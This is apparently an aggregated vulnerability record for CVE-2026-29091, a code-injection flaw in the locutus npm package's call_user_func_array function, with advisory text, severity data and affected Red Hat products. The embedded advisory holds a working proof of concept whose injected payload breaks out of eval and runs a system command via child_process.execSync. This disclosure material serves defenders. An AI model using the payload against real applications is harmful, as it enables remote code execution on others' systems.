{"id":"CVE-2026-29091","aliases":["GHSA-fp25-p6mj-qqg6"],"summary":"Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection","published_at":"2026-03-04T20:19:55Z","modified_at":"2026-07-15T01:10:38.893Z","products":[],"rating":{"severity":"high","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","attack_path":"internet_unauthenticated","user_interaction":false,"malicious":false,"red_hat":"Important","vendor_ratings":[{"source":"Red Hat","rating":"Important"}]},"fix_available":false,"kev":{"listed":false,"ransomware":false},"public_exploit":false,"exploits":[],"epss":{"score":0.008910000324249268,"percentile":0.6012300252914429,"date":"2026-11-19T00:00:00Z"},"priority":10.1,"details":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","affected_stack":[],"affected_other":[{"ecosystem":"CVE","package":"locutusjs/locutus","versions":["< 3.0.0"],"provider":"cvelistv5","source":"CVE-2026-29091","relation":"self"},{"ecosystem":"NVD","package":"locutus:locutus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"fixed":["3.0.0"],"provider":"nvd","source":"CVE-2026-29091","relation":"self"},{"ecosystem":"npm","package":"locutus","purl":"pkg:npm/locutus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"fixed":["3.0.0"],"provider":"osv","source":"GHSA-fp25-p6mj-qqg6","relation":"self"}],"product_status":[{"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","cpe":"cpe:/a:redhat:logging:5","status":"affected","packages":["openshift-logging/elasticsearch-operator-bundle","openshift-logging/elasticsearch-proxy-rhel9","openshift-logging/elasticsearch-rhel9-operator","openshift-logging/elasticsearch6-rhel9","openshift-logging/kibana6-rhel8","openshift-logging/logging-curator5-rhel9"],"package_count":6,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-29091"}],"records":[{"provider":"cvelistv5","source_id":"CVE-2026-29091","relation":"self","url":"https://www.cve.org/CVERecord?id=CVE-2026-29091","license":"CC-BY-4.0","published_at":"2026-03-06T17:48:10.442Z","modified_at":"2026-07-15T01:10:38.893Z","summary":"Locutus: Remote Code Execution (RCE) in locutus call_user_func_array due to Code Injection","details":"Locutus brings stdlibs of other programming languages to JavaScript for educational purposes. Prior to version 3.0.0, a remote code execution (RCE) flaw was discovered in the locutus project, specifically within the call_user_func_array function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the call_user_func_array function (and its wrapper call_user_func), which fails to properly validate all components of a callback array before passing them to eval(). This issue has been patched in version 3.0.0.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-29091"},{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"redhat-SADP:CVE-2026-29091"}],"affected":[{"ecosystem":"CVE","package":"locutusjs/locutus","versions":["< 3.0.0"],"provider":"cvelistv5","source":"CVE-2026-29091","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"}]},{"provider":"nvd","source_id":"CVE-2026-29091","relation":"self","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091","severity":[],"affected":[{"ecosystem":"NVD","package":"locutus:locutus","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"fixed":["3.0.0"],"provider":"nvd","source":"CVE-2026-29091","relation":"self"}],"product_status":[],"references":[]},{"provider":"osv","source_id":"GHSA-fp25-p6mj-qqg6","relation":"self","url":"https://osv.dev/vulnerability/GHSA-fp25-p6mj-qqg6","license":"CC-BY-4.0","published_at":"2026-03-04T20:19:55Z","modified_at":"2026-03-06T23:01:20.600467Z","summary":"locutus call_user_func_array vulnerable to Remote Code Execution (RCE) due to Code Injection","details":"### Details\n\nA Remote Code Execution (RCE) flaw was discovered in the `locutus` project (v2.0.39), specifically within the `call_user_func_array` function implementation. The vulnerability allows an attacker to inject arbitrary JavaScript code into the application's runtime environment. This issue stems from an insecure implementation of the `call_user_func_array` function (and its wrapper `call_user_func`), which fails to properly validate all components of a callback array before passing them to `eval()`.\n\n------\n\n### Technical Details\n\nThe vulnerability is in the `call_user_func_array` function in `src/php/funchand/call_user_func_array.js`, between lines 31 and 35 of version 2.0.39. This function mimics PHP's dynamic function call feature and accepts a callback argument, which can be a string (function name) or an array (class and method name).\n\nThe developers applied a regular expression check (`validJSFunctionNamePattern`) to the first array element (the class identifier), but not to the second element (the method identifier). As a result, the code inserts the user-supplied method name directly into the evaluation string: `func = eval(cb[0] + \"['\" + cb[1] + \"']\")`. This oversight allows an attacker to craft a payload in the second element that escapes the property access context, injects arbitrary JavaScript commands, and executes them with the full privileges of the Node.js process.\n\n``````javascript\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (cb[0].match(validJSFunctionNamePattern)) {\n  // biome-ignore lint/security/noGlobalEval: needed for PHP port\n  func = eval(cb[0] + \"['\" + cb[1] + \"']\")\n}\n``````\n\n-----\n\n### PoC\n\nThis PoC loads the vulnerable call_user_func_array implementation from Locutus and supplies a crafted callback argument that breaks out of the internal eval. The injected payload executes a system command and forces the function to fail validation, causing the command output to surface in the error message.\n\n``````go\nconst path = require(\"path\");\nconst fs = require(\"fs\");\n\nconst vulnFilePath = path.resolve(\n  __dirname,\n  \"./src/php/funchand/call_user_func_array.js\"\n);\n\nif (!fs.existsSync(vulnFilePath)) {\n  console.error(\"error target file not found\");\n  process.exit(1);\n}\n\nconsole.log(\"loading target\");\nconst call_user_func_array = require(vulnFilePath);\n\nconst payload = \"']; require('child_process').execSync('id').toString().trim(); //\";\n\nconsole.log(\"payload set\");\n\ntry {\n  console.log(\"run\");\n  call_user_func_array([\"Date\", payload], []);\n  console.log(\"fail no error\");\n} catch (e) {\n  const msg = e.message;\n  if (msg && msg.includes(\"uid=\")) {\n    console.log(\"pwn\");\n    const proof = msg.split(\" is not a valid function\")[0];\n    console.log(\"out \" + proof);\n  } else {\n    console.error(\"fail unexpected\");\n    console.error(msg);\n    process.exit(1);\n  }\n}\n``````\n\n-----\n\n### Impact\n\nIf exploited, this issue allows attackers to execute arbitrary JavaScript code in the Node.js process. It occurs when applications pass untrusted array callbacks to call_user_func_array(), a practice common in JSON-RPC setups and PHP-to-JavaScript porting layers. Since the library fails to properly sanitize inputs, this is considered a supplier defect rather than an integration error.\n\nThis flaw has been exploited in practice, but it is not a \"drive-by\" vulnerability. It only arises when an application serves as a gateway or router using Locutus functions.\n\nFinally, if an attacker can control `cb[0]` without regex constraints, they could use `global` or `process` directly. However, Locutus protects `cb[0]`. This `cb[1]` injection is the *_only_* way to bypass the intended security controls of the library. It is a \"bypass\" of the library's own protection.\n\n------\n\n### Remediation\n\nUpdate the loop to capture the value correctly or use the index to reference the slice directly.\n\n``````go\n// src/php/funchand/call_user_func_array.js (Lines 31-35)\n\nif (typeof cb[0] === \"string\") {\n  if (cb[0].match(validJSFunctionNamePattern)) {\n    // biome-ignore lint/security/noGlobalEval: needed for PHP port\n    // func = eval(cb[0] + \"['\" + cb[1] + \"']\");\n    var obj = null;\n    try {\n      obj = eval(cb[0]);\n    } catch (e) {}\n    if (obj && typeof obj[cb[1]] === \"function\") {\n      func = obj[cb[1]];\n    }\n  }\n} else {\n  func = cb[0][cb[1]];\n}\nreturn func.apply(null, parameters);\n``````\n\nAnd maybe after a better remediations is refactor `call_user_func_array` to resolve global objects using `global[cb[0]]` or `window[cb[0]]`.\n\n----\n\n### Resources\nhttps://cwe.mitre.org/data/definitions/95.html\n\nhttps://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31\n\nhttps://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!\n\n-----\n\n**Author**: Tomas Illuminati","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"GHSA-fp25-p6mj-qqg6"}],"affected":[{"ecosystem":"npm","package":"locutus","purl":"pkg:npm/locutus","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.0.0"}]}],"fixed":["3.0.0"],"provider":"osv","source":"GHSA-fp25-p6mj-qqg6","relation":"self"}],"product_status":[],"references":[{"type":"WEB","url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"},{"type":"WEB","url":"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"},{"type":"PACKAGE","url":"https://github.com/locutusjs/locutus"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"}]},{"provider":"redhat-vex","source_id":"CVE-2026-29091","relation":"self","url":"https://access.redhat.com/security/cve/CVE-2026-29091","license":"CC-BY-4.0","published_at":"2026-03-06T17:48:10.442Z","modified_at":"2026-03-24T16:09:47.043682Z","summary":"locutus: Locutus: Remote Code Execution via insecure callback function implementation","details":"A flaw was found in Locutus, a project that brings standard libraries of other programming languages to JavaScript. A remote attacker could exploit an insecure implementation of the `call_user_func_array` function, which fails to properly validate all components of a callback array before passing them to the eval method. This vulnerability allows the attacker to inject arbitrary JavaScript code into the application's runtime environment, leading to remote code execution.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CVE-2026-29091"},{"type":"Red Hat","score":"Important","source":"CVE-2026-29091"}],"affected":[],"product_status":[{"vendor":"Red Hat","product":"Logging Subsystem for Red Hat OpenShift","cpe":"cpe:/a:redhat:logging:5","status":"affected","packages":["openshift-logging/elasticsearch-operator-bundle","openshift-logging/elasticsearch-proxy-rhel9","openshift-logging/elasticsearch-rhel9-operator","openshift-logging/elasticsearch6-rhel9","openshift-logging/kibana6-rhel8","openshift-logging/logging-curator5-rhel9"],"package_count":6,"fixed":[],"advisories":[],"note":"Will not fix","provider":"redhat-vex","source":"CVE-2026-29091"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29091.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-29091"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445262"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-29091"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"}]}],"references":[{"type":"WEB","url":"https://github.com/locutusjs/locutus/security/advisories/GHSA-fp25-p6mj-qqg6"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/commit/977a1fb169441e35996a1d2465b512322de500ad"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091"},{"type":"WEB","url":"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval"},{"type":"PACKAGE","url":"https://github.com/locutusjs/locutus"},{"type":"WEB","url":"https://github.com/locutusjs/locutus/blob/main/src/php/funchand/call_user_func_array.js#L31"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-29091.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-29091"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445262"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-29091"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-29091","url":"https://www.cve.org/CVERecord?id=CVE-2026-29091","license":"CC-BY-4.0","modified_at":"2026-07-15T01:10:38.893Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-29091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-29091","relation":"self"},{"provider":"osv","source_id":"GHSA-fp25-p6mj-qqg6","url":"https://osv.dev/vulnerability/GHSA-fp25-p6mj-qqg6","license":"CC-BY-4.0","modified_at":"2026-03-06T23:01:20.600467Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-29091","url":"https://access.redhat.com/security/cve/CVE-2026-29091","license":"CC-BY-4.0","modified_at":"2026-03-24T16:09:47.043682Z","relation":"self"}]}
